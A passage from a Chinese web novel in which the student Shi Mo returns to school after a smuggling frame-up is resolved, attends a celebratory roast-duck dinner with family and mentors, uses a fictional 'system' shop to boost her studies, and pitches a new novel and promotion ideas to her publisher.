前座孙晓梅第一个冲上来,一把抱住她,抱得死紧:“墨墨!你没事吧?我听说了你的事,吓死我了!你知不知道我有多担心你!” “没事没事,我这不是好好的吗?”时墨拍着她的背,笑着安慰。 “好好的?”孙晓梅松开她,上下打量了她好几遍,瘪着嘴道,“你都瘦了!脸都小了一圈!这段时间肯定没好好吃饭!受了不少委屈吧?” “吃了吃了,就是忙了点,没瘦。”时墨笑着哄她。 “忙?你那是忙吗?你那是在跟坏人决斗!”孙晓梅说得义愤填膺,声音都大了,“我们都看报纸了!你立了大功!是文物保护英雄!那些坏人都被抓起来了,真是活该!” 周围的同学纷纷附和:“就是!时墨你也太厉害了!” “报纸上都登了!文物保护先进个人!全国文物系统最年轻的特聘专员!你才十九岁啊!太牛了!” “人和人真的不能比。” “我们出去,一说时墨你是我们同学,别人都羡慕死了!” 大家你一言我一语,全是真心实意的夸赞和关心,没有半分嫉妒。时墨笑着跟大家一一道谢,一一回应着。 正说着,教室门口传来一个清脆的女声:“墨墨!” 时墨抬头一看,就看见林薇薇风风火火地跑了进来,一把抓住她手:“墨墨!你可算回来了!我听我爸说了你的事,快吓死我了!你没事真的太好了!我还以为你要再过段时间才能来学校呢!” “我没事,薇薇,让你担心了。”时墨来回晃动手臂,笑道。 林薇薇松开她,上下打量了她好几遍,确认她毫发无损,才松了口气,又气鼓鼓地骂道:“那些坏人真是太坏了!居然敢诬陷你!还好都被抓起来了!真是罪有应得!” 正说着,秦野也从门口走了过来。他站在教室门口,看着被围在中间的时墨,脚步顿了一下,才慢慢走了进来。 一个多月不见,秦野好像比过年的时候黑了一点,个子又窜高了些,头发剪干净利落,整个人褪去了之前的少年气,看起来成熟稳重了不少。 他的目光穿过人群落在时墨身上,开口的声音带着一丝不易察觉的紧绷:“时墨,你回来了。” “秦野,好久不见。”时墨笑着点了点头。 秦野走过来,把怀里的笔记本和一沓资料递给她:“这是我整理的这学期各科的学习资料,还有老师划的重点、难点、以及易错题,配套的卷子和解题思路也都在里面。你落了一个多月的课,用这个补,能快一点。” 时墨接过笔记本,翻开看了一眼。 纸张上的字迹工整有力,每一科的知识点都梳理得清清楚楚,重点用红笔标注,难点有详细的注解,易错点还专门标了避坑提醒,甚至连老师上课随口提的考点,都记得明明白白,一看就花了极大的功夫。 “多谢。”时墨合上笔记本,抬头看向他,眼里满是真诚的谢意,“你花了不少时间吧?太麻烦你了。” “还好,不麻烦。”秦野摇了摇头,眼神暗了暗,语气里带着浓浓的愧疚,“我家里年后突然有事,跟我爸妈去了趟南方,前几天才刚回来。你的事,我是回来之后才听说的。” 他的声音听着很平静,但时墨注意到,他的手指微微蜷了一下,像是想握拳又生生忍住了。 “如果我在,”秦野抬起头,看着她的眼睛,语气格外认真,“能帮上忙的地方,我一定帮。绝不会让你一个人扛着。” 他从南方回来,才听说时墨经历了这么大的风波,被人构陷倒卖文物,被纪检组谈话,甚至差点被人送进监狱,而他却远在千里之外,什么都不知道,什么忙都没帮上,心里又急又悔,像被针扎一样。 “你不用道歉,这事跟你没关系,已经都解决了。”时墨冲秦野笑了下,语气轻松,“再说了,你这份笔记,就是帮了我大忙了,比什么都管用。” 旁边的林薇薇立刻插嘴,笑着打趣:“就是啊秦野,你就别马后炮了。时墨现在平平安安回来了,你这份笔记送得及时,比什么空口白话都强。” 秦野看着时墨脸上的笑,心里悬了许久的石头,终于稍稍落了地。 沉默了两秒,又开口道:“这次的开学测试,我考了年级第一。” 他嘴上说着考了第一,眼里却没有半分登顶的喜悦,反而带着一丝显而易见的失落。 以前每次考试,他永远都被时墨压一头,拼尽全力也只能拿第二,那时候他天天憋着一股劲,就想着什么时候能超过时墨。可这次他真的拿了第一,却发现时墨不在,这第一拿得索然无味,甚至让他觉得空落落的。他甚至宁愿时墨还在,依旧稳稳地坐在第一的位置上,至少那样,他还能看着她的背影,往前追。 她不在,考第一又有什么意义? 时墨愣了一下,随即笑着恭喜道:“厉害啊秦野,恭喜你。看来这几个月你没少下功夫,我可得加把劲,夺回第一的位置。” 秦野的眼睛瞬间亮了起来,挑眉道:“拭目以待。我可不会让着你。” 一旁的林薇薇叉着腰,装作不高兴的样子道:“喂,你俩当我不存在呢?下次第一的宝座,必然是我的!” 秦野瞥她一眼:“有本事就来拿。” “走着瞧!”林薇薇哼了一声,转头冲时墨笑了笑,指了指刚放到她桌面上的本子,“墨墨,我也给你整理了数理化三科的错题本和解题技巧,你拿去用。有不懂的随时问我,我随时都在!” “好,谢谢薇薇。”时墨笑着道了谢。 周围的同学也纷纷围上来,把自己的笔记和资料往她手里塞,七嘴八舌地说着“我的英语笔记给你”“我的语文文言文整理给你”,时墨被围在中间,手里抱着一大摞本子和资料,忽然觉得,回到学校,回到这群同学身边,真好。 上课铃响起,大家迅速回到各自座位上,秦野和林薇薇也回了隔壁一班。 一天的课很快就过去了。 放学铃一响,时墨收拾好书包,跟孙晓梅、林薇薇一起走出了校门。 刚出校门,时墨就看到校门口路边停着一辆熟悉的黑色轿车。 谢时昀靠在车门上,穿着一件深灰色的风衣,安静地张望着校门口四散的学生。他站在那儿,身姿挺拔,在一堆骑自行车和走路的人群里格外扎眼。有路过的学生和家长都忍不住多看了他两眼,他浑然不觉,目光一直在人群中搜寻。 看见时墨出来,他立刻站直了身体,眼里瞬间染上笑意,大步朝她走了过来。 “谢时昀?你怎么在这儿?”时墨满脸意外,停下了脚步。 “来接你。”谢时昀拉开副驾驶的车门,语气温和,“为了谢谢你这次帮我,也为了庆祝案子圆满结束,我在全聚德定了位子。叔叔阿姨、建军,还有你师父宋老先生和宋老夫人,都已经过去了,就等你放学了。” “都过去了?”时墨愣住了。 “嗯。” 时墨看着他,忽然笑了:“你这先斩后奏的本事,跟谁学的?” “无师自通。”谢时昀笑道,替她挡着车门顶,护着她上了车,动作自然又妥帖,眼里的温柔藏都藏不住,“上车吧,外面风大,别冻着了。” 时墨刚做进去,身后忽然传来一个声音:“时墨。” 她回头望去,看见秦野站在校门口不远处,目光落在她身上,又移到谢时昀身上,最后停在谢时昀拉开的车门上。 “秦野,你怎么还没走?”时墨问。 “落了东西,回来拿。”秦野扯了扯嘴角。 他其实什么都没忘,只是看着校门口那辆眼熟的轿车,看着谢时昀站在车边等时墨,就挪不动脚步了。 他的目光在谢时昀身上停了几秒。 他见过这个人,之前下雪天他来学校接过时墨。当时时墨对他,只有礼貌的客气,还有明显的疏远和防备。 可现在不一样了。 时墨眼里的疏离没了,客套也没了,只剩下熟人感和毫不设防的信任。 秦野看着谢时昀自然地替时墨拉开车门,看着时墨对着他笑,看着对方护着时墨上车,时墨毫无芥蒂地坐进去。 秦野的心,瞬间沉了下去。 时墨的性格他知道,他离开的这期间,一定发生了什么他不知道的事, 他到底,错过了什么? “秦野?”时墨从车里探出头,对着他笑了笑,“你家不是在东边吗?我们顺路,要不要送你一段?” “不用了。”秦野摇了摇头,瞬间攥紧了书包带,扯出一个勉强的笑,“我家司机在道对面等着呢。” “行,那明天见。” “明天见。” 车门关上,隔绝了外面的视线。车子缓缓发动,渐渐消失在街角。 秦野站在原地,看着那辆黑色轿车的尾灯越来越远,心里涌上一股浓浓的失落。 他说不清那是什么感觉,像是本来以为自己站在赛道上,结果发现赛道好像换了。 直到彻底看不见车尾,秦野才才转身自家车走去,路灯一盏一盏地亮起来,把他的影子拉得老长。 他不知道的是,在他转身的那一刻,谢时昀从后视镜里看了他一眼,随即收回目光,握着方向盘的手,微微紧了紧。 车子拐过街角,驶入了一条更宽的马路。 路灯的光透过车窗照进来,在时墨脸上明明暗暗地交替。 谢时昀状似随意地从后视镜里看了她一眼,开口的语气听不出什么情绪,却带着一丝不易察觉的试探:“刚才那个男生,是你同班同学?” “嗯,隔壁一班的,叫秦野,学习很好,跟我一直是年级前几名。”时墨没多想,随口应道,“这次开学测试,他考了年级第一,还给我整理了全套的课堂笔记,帮了我大忙了。” 谢时昀握着方向盘的手又紧了紧,喉结微微动了动,沉默了两秒,才笑了笑,语气听不出波澜:“是吗?看来是个很优秀的人,对你也挺上心。” 他说着,目光不经意地扫过副驾驶座上,时墨抱着的那摞厚厚的笔记,眼神暗了暗。 时墨一瞬间察觉到了,转头看他,正好撞进他深邃的目光里。 路灯的光一闪而过,她清晰地看见他眼底那点不易察觉的醋意,忽然觉得有点好笑,装作毫无所觉道:“嗯,确实。秦野学习挺好,性格也不错。” 谢时昀愣神瞬间,险些闯过红灯。 一个急刹,时墨撞到椅背上。 “抱歉,我刚走神了。”—— 作者有话说:这才哪到哪啊,就受不了了 第75章 谢时昀稳住车子, 声音里带着明显的歉意。 他刚才满脑子都是时墨夸秦野的话,心里莫名翻涌着一股说不清道不明的酸涩,连路口的红灯都没注意到。 时墨坐直身子, 理了下被安全带压皱的衣角, 语气礼貌却带着一丝疏离的提醒:“开车最忌走神, 安全最重要。” 街边的路灯一盏盏往后退, 暖黄的光落在她脸上,明明灭灭的,衬得她眉眼清冷淡然,半点多余的情绪都没露。 “我会注意,再也不会了。”谢时昀握紧了方向盘, 心里微微一沉。 时墨这句礼貌的提醒里藏着的边界感, 谢时昀瞬间敏锐的捕捉到了。立刻意识到自己刚才的语气太过明显了。 他不确定时墨有没有彻底看穿他的心思,但他很清楚, 刚才那点没藏住的情绪, 已经让时墨下意识地拉开了距离。 谢时昀迅速压下翻涌的情绪,不动声色地换了话题:“对了, 梅先生故居的修缮方案, 你之前提的隔扇窗无损修复, 我托人从博物院找了几份以前给宫里干活的工匠们记录的修复手记。是光绪年间一位叫谷明老匠人留下的, 里头详细记载了榫卯拆解、桐油浸泡这些古法的操作细节, 回头我给你拿过来,应该能用上。” 果然,这话一出, 时墨立刻转回头,眼睛都亮了:“真的?是原档还是抄本?” “抄本,但是从原档逐字誊录的, 博物院的老专家亲自核过。”谢时昀看她注意力转移了,心里松了口气,语气恢复了平时的自然,“谷明的手记市面上见不到,博物院内部也只存了两套抄本,我托了位长辈才借出来。你回头用完了还我就行。” “那谢谢你了!”时墨真心实意地说,“古法修复的细节,光看现成的教材还是不行,得多看前辈们的笔记才有用。” “小事而已,不用跟我客气。”谢时昀顿了顿,又补了一句,“你师父宋老先生也一直念叨这事,说你以后要是从事古建筑需要各处考察,多看这方面笔记资料,比在学校里死读书强。” 他说这话时语气自然,但时墨听出了一层言外之意——宋正先已经开始替她铺路了。这些笔记资料,未必是谢时昀临时起意去找的,说不定师父早就跟谢时昀提过,只是一直没找到合适的机会给她。 两人顺着古建修复的话题聊了下去,从榫卯结构聊到彩绘颜料配方,又从颜料聊到不同朝代的建筑规制差异。谢时昀虽然不做这行,但听得多、记性好,偶尔抛出的几个问题都在点子上,时墨越聊越起劲,刚才那点微妙的尴尬气氛总算彻底散了。 车子一路往前,很快就到了前门全聚德门口。 谢时昀把车停好,两人刚走到门口,就看见时建军裹着件军大衣站在饭店门口东张西望,看见他们来了,立刻挥着手跑了过来:“妹!谢哥!这边这边!我估摸着你们这点该到了,下来看看,还真等到了!” 夜风还带着凉意,时建军的棉外套敞着怀,露出里头一件手织的深蓝色毛衣。 “这么冷的天,你不在屋里等着,站在这儿喝风?”时墨皱了皱眉,伸手扯了扯他没扣好的大衣扣子,“赶紧把扣子扣上,冻感冒了又要耽误上班。” “哎呀,就这一会儿没事,这不就进屋了。”时建军满不在乎,又扭头冲谢时昀笑,“谢哥,今天可让你破费了。” “客气了,应该的。”谢时昀笑着应道。 三人进了包间,暖意扑来,瞬间驱散了身上的寒气。 包间里圆桌已经坐了大半,时爱国坐在宋正先右手边,正端着茶杯说着什么,李秀兰挨着时爱国,正跟宋老夫人唠家常。 宋老夫人穿着一件藏青色的盘扣棉袄,头发梳得一丝不苟,耳朵上戴着一对小巧的金耳环,整个人看着精神极了。 “师父,师 母,让你们久等了。”时墨一进门就先跟两位老人打了声招呼。 “没等多久,就知道你这点放学,估摸着时间也该到了。”宋正先正端着茶杯跟时爱国说话,看见时墨进来,立刻放下茶杯,笑着招呼她,“快坐师父这儿来,饿坏了吧?” 宋老夫人本来正笑眯眯地跟李秀兰唠家常,时墨一进来,立刻转身拉着她的手,上下打量了她好几遍,满眼心疼道:“好孩子,这段时间可受委屈了。你看这脸都尖了,肯定没好好吃饭。” “师母,我没事,都过去了。”时墨笑着扶着老人坐下,又跟爸妈打了声招呼,顺势坐在了宋正先身边的空位上。她打量了师父一眼,笑着打趣“师父您今天真精神,这身中山装是新做的吧?穿您身上太合适了,比文保局那些年轻小伙子都精神!” “少跟我这儿拍马屁。”宋正先嘴上嗔怪着,嘴角却翘得老高,眼角的皱纹都笑开了,“你这丫头,一段时间没见,,嘴倒是越来越甜了,就是人瘦了。是不是天天泡工地、忙案子,饭都顾不上吃?” “吃了吃了,就是最近忙着补功课,动脑子多,自然就瘦了。”时墨笑嘻嘻地应着,又转头看向宋老夫人,“师母,您还说我呢,您看我师傅,下巴可比上次见面尖了,肯定是天天为了文物保护法修订的事熬夜,您可得管管他。” “我管得住他?”宋老夫人笑着拍了拍时墨的手,“他呀,天天在家念叨你,生怕你受了委屈,晚上翻来覆去睡不着,现在好了,善有善报恶有恶报,那些坏人都抓起来了,他才算踏实了。” “行了行了,当着孩子的面说这些干什么。”宋正先摆摆手,有点不好意思地咳了一声,对着门口的服务员扬了扬手,“人都到齐了,上菜吧!” 谢时昀坐在时墨对面,闻言冲门口的服务员示意了一下。 没一会儿,菜品陆陆续续端了上来。 刚出炉的烤鸭外皮枣红油亮,滋滋地冒着油香。片鸭师傅推着小车进来,当着众人的面片鸭,刀工利落,每一片鸭肉薄厚均匀,连皮带肉码得整整齐齐,引得时建军连连赞叹。 “师傅这手艺绝了!这皮切得跟纸似的!” 配菜摆了满满一桌:荷叶饼、葱丝、黄瓜条、甜面酱,还有白糖和蒜泥两种蘸料。除了烤鸭,还有糟溜三白、芫爆肚丝、干炸丸子、烧四宝、烩乌鱼蛋汤等,冷热荤素搭配得恰到好处。 时墨扫了一眼,就看出了门道——糟溜三白软嫩,是给宋正先夫妇的;干炸丸子酥脆,是时建军爱吃的;烧四宝浓油赤酱,合时爱国的口味;芫爆肚丝清爽,李秀兰应该喜欢。 她忍不住看了谢时昀一眼。这人点菜的水平确实不错,一桌子菜照顾到了所有人的口味,半点不敷衍,连宋老夫人牙口不好这种细节都考虑进去了。难怪能把生意做得风生水起,这份察言观色的本事,就不是一般人能比的。 谢时昀像是察觉到了她的目光,抬眼对上她的视线,嘴角微微弯了弯。 宋正先拿起一张荷叶饼,熟练地摊在掌心,夹了几片鸭肉蘸了甜面酱,配上葱丝黄瓜条,利落地卷成一个鸭卷,放在时墨碗里。 “快尝尝,全聚德的烤鸭,还是这个味儿。”他笑着说,“你这段时间东奔西跑,肯定没好好吃几顿饭,今天多吃点,补补身子。” “谢谢师父。”时墨笑着接过,咬了一口。外皮酥脆不腻,鸭肉嫩而不柴,油脂的香气在嘴里化开,甜面酱咸香适口,果然是名不虚传。 酒过三巡,饭桌上的气氛渐渐热络起来,大家你一言我一语,聊起了这段时间发生的事。 李秀兰端着酒杯,说着说着就红了眼眶。她拉着宋老夫人的手,声音有些哽咽:“多亏了您和宋老先生帮忙,不然我们家墨墨一个小姑娘,无依无靠的,真不知道要受多大的委屈。那些坏人官大压人,我们普通老百姓,连说理的地方都找不到。” 宋老夫人拍了拍她的手,温声安慰道:“都过去了,孩子好好的就行。墨墨这有勇有谋,是个好苗子,我们老两口帮她,也是愿意的。” 宋正先看着时墨,满眼骄傲:“这事也是墨墨自己有本事。证据链攥得死死的,一步都没走错,心思缜密得很,连我都佩服。我就是搭了个线,真正立大功的,是这孩子。” 他说着,转头看向谢时昀,笑着夸赞道:“小谢也是个好小伙子,有担当,有本事。要不是你前期查了那么多材料,光靠墨墨一个人,也难掀翻这么大一张网。你们俩,都是好样的,互相帮衬,才把这帮蛀虫给揪出来了。” “宋老您客气了。”谢时昀立刻双手举杯,姿态恭敬,“要说谢,该我好好谢谢时墨。要不是她手里的核心证据,我现在还在停职审查,能不能出来都两说。这杯酒,我敬您,也敬时墨。” 他说着,仰头喝干了杯里的白酒,目光不经意地扫过时墨。 “你们俩就别互相谢了。”李秀兰笑着打圆场,眼角还带着泪光,但语气已经轻快了许多,“都是好孩子,互相帮衬是应该的。来,多吃菜,这烤鸭凉了就腥了,不好吃了。” 时墨喝了一口乌鱼蛋汤,忽然想起一件事,放下碗问道:“师父,您刚才说,国家最近要出台新的文物保护法修订草案?” 一说起这个,宋正先瞬间来了精神,放下筷子道:“没错。这次的案子一出来,上面彻底重视起来了,专门开了好几次研讨会,要完善法规,严打文物走私!我和几个老伙计,都受邀参与了修订讨论,这次一定要把漏洞堵上,不能再让这帮蛀虫有机可乘!” 他说着,从中山装内兜里掏出一个笔记本,翻开给时墨看:“你瞧,这是上次开会时我记的几条。一是要明确文物出境审批权限,把海关和文物局的职责划清楚;二是要加重对走私文物的量刑,特别是涉及国家级文物的,要从严从重;三是要建立文物交易备案制度,以后买卖文物都得登记在册。” 时墨凑过去看了一眼,师父的字迹工整得像印刷体,条条款款列得清清楚楚。 谢时昀立刻接话道:“不光是文物保护,外贸这边也在调整政策。最近中央刚下了文件,要严打进出口走私,尤其是文物、珍稀品类的走私,海关下个月就要开展全国性的专项行动了。我现在办的外贸公司,也在跟着政策调整,开了一条工艺品和瓷器出口,把咱们国家的好东西,堂堂正正地卖到国外去,赚外国人的钱。” “哦?”宋正先来了兴趣,“工艺品出口,具体是哪类?” “主要是传统工艺美术品,景泰蓝、玉雕、漆器这类。”谢时昀答道,“这些在国外有市场,又不涉及文物范畴,走正规渠道还能创汇。我们正在跟日本谈一个漆器出口的单子,对方要求提供工艺溯源证明,我这边正让工厂整理工艺流程档案。” 宋正先点了点头:“这个路子对。与其堵,不如疏。好东西就该堂堂正正走出去,让外国人看看咱们老祖宗的手艺。” 两人你一言我一语,从文物保护政策聊到改革开放的外贸新规,又聊到古建修缮的行业前景,越聊越投契。时墨偶尔插几句话,观点精准独到,总能一针见血地说到点子上。宋正先听得连连点头,谢时昀也总是下意识地停下话头,认真听她说话,眼里的欣赏根本藏不住。 时爱国和时建军坐在旁边,听着这些话,只能干笑着,压根插不上嘴。他们是干技术工种的,对国家政策、外贸谈判、文物法规这些事一窍不通,只能偶尔附和两句。李秀兰也一样,端着茶杯笑眯眯地听着,时不时夹两口菜,也不觉得被冷落。 宋老夫人看在眼里,趁着他们聊完一个话题的间隙,立刻笑着打断了话头,转头看向李秀兰:“我听墨墨说,你在纺织厂上班?缝纫手艺可好了,家里的衣服被褥都是你自己做的?” 李秀兰立刻笑着接话:“嗨,就是干了一辈子的活,熟能生巧罢了。您要是不嫌弃,回头我给您和宋老先生做两身贴身的棉褂子,穿着舒服。” “那可太好了!”宋老夫人笑得合不拢嘴,“我那会儿在老家也自己做针线,后来进了城反倒懒了。你做棉褂子用的什么棉花?” “我一般用长绒棉,絮得匀,穿着不压身子……”李秀兰说起这个,话匣子就打开了。 两人顺着针线活、家常里短、工厂里的新鲜事聊了起来,时爱国和时建军也顺势加入了话题,聊起了厂里最近引进的新设备。宋老夫人不时点头,偶尔插几句话,问的都是内行话——什么“那台机床是哪个厂的”“操作起来费不费劲”——问得恰到好处,既让时爱国觉得被重视,又不显得突兀。 时墨看在眼里,心里暗暗佩服师母的情商。这老太太看着不声不响,心里比谁都透亮。她知道文物和外贸的话题插不上嘴,就主动把话题引到李秀兰擅长的事情上,让饭桌上的每个人都能参与进来,谁也不会觉得被晾在一边。 一顿饭吃得宾主尽欢,散席的时候已经快九点了,天早就黑透了,前门大街上的路灯都亮了起来,熙熙攘攘的全是人流。 出了饭店门口,谢时昀先扶着宋正先夫妻俩上了车,笑着道:“宋老、宋老夫人,我送你们回去,您二位坐稳了。” “辛苦你了小谢。”宋老夫人笑着道谢,又摇下车窗对着时墨挥了挥手,“墨墨,路上慢点,回头来家里吃饭,师母给你做你爱吃的红烧排骨,再给你熬鸡汤补补身子。” “知道了师母,您路上慢点。”时墨笑着挥了挥手。 宋正先探出头,看了时墨一眼,语气比平时柔和了许多:“好好读书,高考前别分心。别的事都放一放,听见没有?等你考完试,师父带你去山西看古建去!” “知道了师父,我肯定好好考!”时墨笑着应下。 车子缓缓开走了,尾灯在夜色中渐渐远去。时墨站在路边,找了一辆在饭店门口等活的面的,报了家属院的地址。 车窗外,街灯一盏接一盏地往后退。时墨靠在座椅上,脑子里还在转着刚才饭桌上宋正先说的话——“那批文物背后的订货人,身份不一般,专案组还在查”。 她没有问师父更多细节。不是不想知道,而是她知道,以师父的谨慎,能说的他自然会告诉她,不能说的,问了也不会说。 她闭上眼,深吸一口气。 不想了,先顾眼前的事。 接下来的日子,时墨开始了学校、工地两头跑的生活。 说是两头跑,其实工地的活已经不多了。孙教授和工匠们把施工进度安排得明明白白,她每周去两次,核对一下关键节点的施工质量,解决几个技术问题,剩下的时间全泡在学校里。 可“躺平”原则卡在那里,系统规定她每天的学习只能在学校进行,否则就算违规。 时墨跟系统掰扯了好几天,试图论证“在工地看古建图纸也是一种学习”,系统不为所动,来回像车轱辘话一样重复:【学习时间仅限校内,请宿主遵守规则。】 时墨还要说,系统像成了唐僧一样,【不听不听,王八念经。】 时墨:【……】 为了提升学习效率,时墨最终还是点开了系统商城。 过目不忘记忆药水,500能量币;长效专注光环,1000能量币。她犹豫了一下,又往下翻了翻,看见一个新上架的商品——思维导图生成器,可以自动将知识点生成可视化思维导图,永久有效,兑换价格:3000能量币。 时墨犹豫了几秒。 4500能量币,不是小数目。 但她想到自己落下的那些课,想了想即将到来的高考,还是把三样都买了。 【已扣除4500能量币!商品已发放至系统空间!】 时墨先把记忆药水喝了,味道有点像汽水,甜中带一点涩。刚咽下去,一股清凉的感觉就从头顶蔓延开来,脑子瞬间清醒得像被山泉水洗过一样,之前混沌的知识点瞬间清晰了不少。她又点开了长效专注光环,周围教室的喧闹仿佛瞬间消失了,整个世界只剩下眼前的书本和试卷,注意力高度集中,半点杂念都没有。 她翻开政治课本,原本那些拗口难记的知识点,现在看一遍就牢牢刻在了脑子里;之前要在脑子里转好几个弯才能解出来的数学大题,现在一眼就能看透解题思路,配合思维导图生成器,每一科的知识体系都在眼前清晰展开,脉络分明,学习效率直接翻了倍。 时墨放下笔,靠在了椅背上。 这种感觉,怎么说呢——就像你以前是骑自行车的,突然换成了开跑车。不是不费力,是费力的方式不一样了。以前要在脑子里转好几个弯才能解出来的题,现在一眼就能看出解题思路,完全不用绕弯。 一节课的时间,她不仅听完了老师讲的新内容,还刷完了一套数学模拟卷,正确率高得吓人。 【怎么样?爽吧?】系统得意得不行,【我就说这东西好用吧!你早用早回第一了。】 【还行。】时墨面上淡定,心里却忍不住感慨。有外挂就是不一样,省了不少死记硬背的功夫,能把更多的精力放在知识点的理解和拔高上。 几次模拟考下来,时墨的成绩跟坐了火箭似的稳步回升。从年级前十冲到前五,再从前五直接杀回年级第一,直接甩了第二名秦野整整二十分,成了全市理科状元的热门人选。 成绩出来的那天,班主任王老师拿着成绩单,笑得合不拢嘴,专门把时墨叫到办公室,问她要不要考虑报首都大学的考古系或者建筑系:“以你现在的成绩,加上国家文物局给你的特聘专员身份,只要过了重点线,首大绝对抢着要你!” 时墨笑了笑,说还在考虑,等高考结束再定。王老师也没多劝,只让她好好保持状态,有任何需要随时找老师。 回班级的路上,时墨碰上了秦野。 少年靠在走廊的栏杆上,手里捏着成绩单,看见她过来,直起身子,脸上带着点无奈,又有点不服输的笑:“时墨,恭喜你重新夺回第一……” 时墨故意拱手客套:“笑纳了,不过一般发挥。” “少来。”秦野把手里的一个笔记本递给她,“这是我整理的最后几套押题卷的错题解析,你看看,说不定能用上。高考,我肯定超过你!” “好,我等着。”时墨接过笔记本,笑着道了谢,转身回了班级。 秦野看着她的背影,突然笑了,他就喜欢时墨闪闪发亮的样子。 * 学习之余,时墨也没闲着。 张敬山的案子虽然尘埃落定,但余波未平。百姓日报连着发了好几篇评论文章,讨论文物走私和保护的话题,全国上下都在关注这件事。 时墨坐在书桌前,思来想去,决定把这段时间的亲身经历,结合当下的社会背景,改编成一篇以文物保护为主题的的悬疑短篇小说。 主角是一个坚守初心的古建修缮女工匠,在修缮一座百年老宅的过程中,发现了隐藏在老宅深处的秘密,为了保护国家文物,和庞大的文物走私团伙斗智斗勇,最终配合警方,把整个走私网连根拔起。 故事里的细节,全是她亲身经历的。谢时昀、宋正先、李景坤这些人的影子,都经过了艺术加工,真假难辨,字里行间全是对文物的敬畏,和对文物走私的痛斥,情节环环相扣,悬念迭起,读起来让人欲罢不能。 她写得很快,每天放学抽两个小时,不用半个月就写完了。 写完之后,她翻来覆去改了两遍,又让系统帮忙校对了一遍错别字和逻辑漏洞,系统在这方面倒是尽职尽责,连标点符号的错误都给她挑了出来,逻辑漏洞也修改更严谨。 周六下午不用上课,时墨把稿子装进牛皮纸信封里,骑着车去了百姓文学出版社。 林慧君正在办公室里审核稿子,听见敲门声抬头一看,愣了一下,随即站起来,迎了上去,又惊又喜:“时墨?你怎么来了?” “林姨,打扰您了。”时墨笑着走进去,把信封放在她桌上,“我抽空写了个短篇小说,您帮我看看,能不能用。” “你写的东西,肯定差不了!”林慧君笑着接过稿子,立刻拆开信封,坐在椅子上看了起来,“桌上有茶水,你自己倒,别客气。” 办公室里安静极了,只有纸张翻动的沙沙声。 时墨坐在旁边的沙发上,给自己倒了一杯热茶,慢慢地喝。她看着林慧君的表情变化,从平静到专注,从专注到惊讶,从惊讶到激动,看到结尾的时候,眼眶都微微泛红了。 “时墨!”林慧君放下稿子,抬头看向时墨,眼里满是惊喜和赞叹,“你这是什么时候写的?你不是在全力准备高考吗?怎么还有时间写出这么好的东西?” “每天放学抽空写两个小时,不耽误学习。”时墨笑了笑,“林姨,您觉得这稿子怎么样?能用吗?” “怎么样?”林慧君站起来,拿着稿子在办公室里来回走了两圈,激动得脸都红了,“太好了!太动人了!这篇稿子,绝对能火!” 她激动地握着时墨的手,语气里满是肯定:“你这篇稿子,人物立得住,情节有张力,节奏紧凑,悬念一环扣一环,牵动人心。最难得的是,踩在了现在国家最重视的点上。你都不知道现在全国上下都在关注文物走私和保护,你这个稿子,写得正是时候!既有深度,又有可读性,把文物修复的专业知识和悬疑推理结合得天衣无缝!这个题材,这个时机,这本书一定会火!” 她停下来,看着时墨,眼里满是惊喜:“你上本书的销量你知不知道?加印了三次,到现在还在卖!你这次的事上了报纸,成了文物保护英雄,上本书的热度又涨了一波,读者天天写信到社里,问你新书什么时候出,我都不知道该怎么回!我知道你忙高考,哪好意思催你?没想到你自己就把稿子送过来了,真是给了我个大惊喜!” “林姨您过奖了,我就是把自己的亲身经历写出来而已。”时墨谦虚地笑了笑。 “这不是光有经历就能写出来的,这是天赋!”林慧君认真地看着她,忽然想起了什么,“对了时墨,之前跟你说的作协的事,我帮你问好了。你上本书的销量和口碑都在那儿摆着,这次这个稿子,我有把握拿今年的全国优秀作品。等你高考完,我把两本书的材料一起递上去,以你现在的作品和影响力,进作协绝对没问题。” “那就麻烦林姨了。” “麻烦什么,这是你自己挣来的。”林慧君重新坐下,拿起稿子又翻了一遍,忽然抬头,“时墨,这本书的出版时间,我想跟你商量一下。按正常流程,从定稿到出书,最快也要两三个月。但你这个稿子,时机太特殊了,我想加急做,争取在高考前推出来。” 时墨语气迟疑道:“来得及吗?三审三校、书号申请,这些流程都要时间。” “加班加点的话,来得及。”林慧君的眼神很是坚定,“我跟社里申请,全社给你开绿色通道,编辑、校对、排版、印刷,全给你排最高优先级!现在是四月初,一个半月的时间,绝对能上市!正好赶在高考前,借着现在全国关注文物保护的热度,第一波宣传就能把声势造起来!” “好。”时墨立刻点头,“那就辛苦林姨和社里的同志们了。” “辛苦什么?做一本好书,本来就是我们的本职工作!”林慧君摆了摆手,又想起了什么,“对了,宣传方面,你有什么想法?尽管说,咱们一起商量!” 时墨回想了一下后世成熟的出版营销手段,挑了几个符合当下年代实际情况的,缓缓道:“林姨,我有几个想法,您看看能不能用。正式出版之前,能不能先在主流报纸副刊上连载几期精彩片段,不用全文,就选最有悬念的几个章节,吊吊读者的胃口,提前预热。” 林慧君眼睛一亮,连忙拿出笔记本记下来:“这个主意好!预热宣传,吊足读者胃口!我跟报社的老关系熟,这事绝对能办成!” “还有,”时墨继续说,“咱们可以做一批限量的签名本,放在新华书店的总店,预售的时候就放出去,限量两百本,先到先得。这样既能带动第一波销量,也能让读者觉得这本书有收藏价值。” “另外,可以联合几个高校的文学社,做几场小型的文物保护主题分享,等我高考完就办,提前预热一下。林姨你儿子沈岩不正好有这方面经验,可以参与进来,还能提前增加工作经验。” “你说得对!”林慧君听得连连点头,拿出笔记本飞快地记录,“限量签名版,这个好!稀缺感一下就出来了,读者肯定抢着买!还有把宣传推进大学校园,正面导向!还有呢?” “暂时就这些。”时墨笑了笑,“林姨,您比我懂出版,这些想法您看看哪些能用,哪些不能用,您自己决定就行。” “能用!都能用!”林慧君合上笔记本,激动道,“时墨,你这脑子是怎么长的?怎么能想出这么好的点子!” 时墨谦虚两句:“哪有哪有。” 她不过是把后世最基础的出版营销手段拿过来用了。在这个文学热、全民爱读书的年代,这点小手段足够让这本书的销量再上一个台阶。要是有条件出周边,更能带动热度了。 从出版社出来,天已经快黑了。时墨骑着车往家走,晚风拂过脸颊,带着春天的暖意。 【宿主,你确定你忙得过来?】系统有点担心道。 【所以我要把时间用到极致。】时墨在心里说,【宣传的事全权交给出版社,我只需要露个面签个名就行,大不了,高考前一个月彻底闭关,什么都不管。】 【你这个心态就对了!】系统立刻附和,【躺平的核心是什么?不是不干活,是不为不值得的事操心!宣传的事全权交给出版社就好,高考才是当前的主线任务!】 时墨笑了笑,脚下蹬车的速度更快了些。 接下来的时间,仿佛被按了快进键。 工地上,梅先生故居的修缮进入了最后的收尾阶段。 